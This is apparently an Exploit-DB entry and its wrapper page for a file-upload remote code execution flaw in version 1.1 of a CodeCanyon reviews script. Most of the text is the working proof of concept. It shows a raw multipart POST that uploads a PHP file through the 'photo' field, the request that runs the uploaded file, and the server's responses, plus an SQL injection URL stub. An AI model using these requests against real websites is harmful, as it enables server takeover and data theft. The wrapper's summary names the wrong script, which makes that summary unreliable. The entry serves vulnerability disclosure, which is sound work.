Facebook And Google Reviews System For Businesses 1.1 - Remote Code Execution

vendor:

Facebook And Google Reviews System For Businesses

by:

Ihsan Sencan

7.5

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Facebook And Google Reviews System For Businesses

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: YES

Related CWE: N/A

CPE: a:codecanyon:facebook_and_google_reviews_system_for_businesses:1.1

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

Facebook And Google Reviews System For Businesses 1.1 – Remote Code Execution

An attacker can exploit a vulnerability in Facebook And Google Reviews System For Businesses 1.1 to execute arbitrary code. By sending a specially crafted HTTP POST request, an attacker can inject malicious code into the 'photo' parameter of the 'custom_reviews_add.php' script. This can be exploited to execute arbitrary PHP code on the vulnerable system.

Mitigation:

The vendor has released an update to address this vulnerability. Users are advised to update to the latest version.

Source

Exploit-DB raw data:

# Exploit Title: Facebook And Google Reviews System For Businesses 1.1 - Remote Code Execution
# Dork: N/A
# Date: 2018-12-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://codecanyon.net/item/facebook-and-google-reviews-system-for-businesses/22793559
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# http://localhost/[PATH]/reviews/campaign_add.php?id=[SQL]
# 

POST /[PATH]/reviews/action.php?action=custom_reviews HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/octet-stream
Content-Length: 922
Referer: http://localhost/[PATH]/reviews/custom_reviews_add.php
Cookie: PHPSESSID=t7hinqk30gq4ies69nno1lj2b0
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-----------------------------4704926813981: undefined
Content-Disposition: form-data; name="photo"; filename="phpinfo.php"
<?php
phpinfo();
?>
-----------------------------4704926813981
Content-Disposition: form-data; name="hidden_photo"
-----------------------------4704926813981
Content-Disposition: form-data; name="name"
Efe
-----------------------------4704926813981
Content-Disposition: form-data; name="rating"
4.5
-----------------------------4704926813981
Content-Disposition: form-data; name="review"
Efe
-----------------------------4704926813981
Content-Disposition: form-data; name="date"
12/14/2018
-----------------------------4704926813981
Content-Disposition: form-data; name="id"
-----------------------------4704926813981
Content-Disposition: form-data; name="submit"
submit
-----------------------------4704926813981--
HTTP/1.1 302 Found
Date: Fri, 14 Dec 2018 18:17:48 GMT
Server: Apache
X-Powered-By: PHP/7.0.33
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: custom_reviews.php
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

GET /[PATH]/reviews/uploads/264082phpinfo.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/[PATH]/reviews/custom_reviews.php
Cookie: PHPSESSID=t7hinqk30gq4ies69nno1lj2b0
DNT: 1
Connection: keep-alive
HTTP/1.1 200 OK
Date: Fri, 14 Dec 2018 18:17:49 GMT
Server: Apache
X-Powered-By: PHP/7.0.33
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8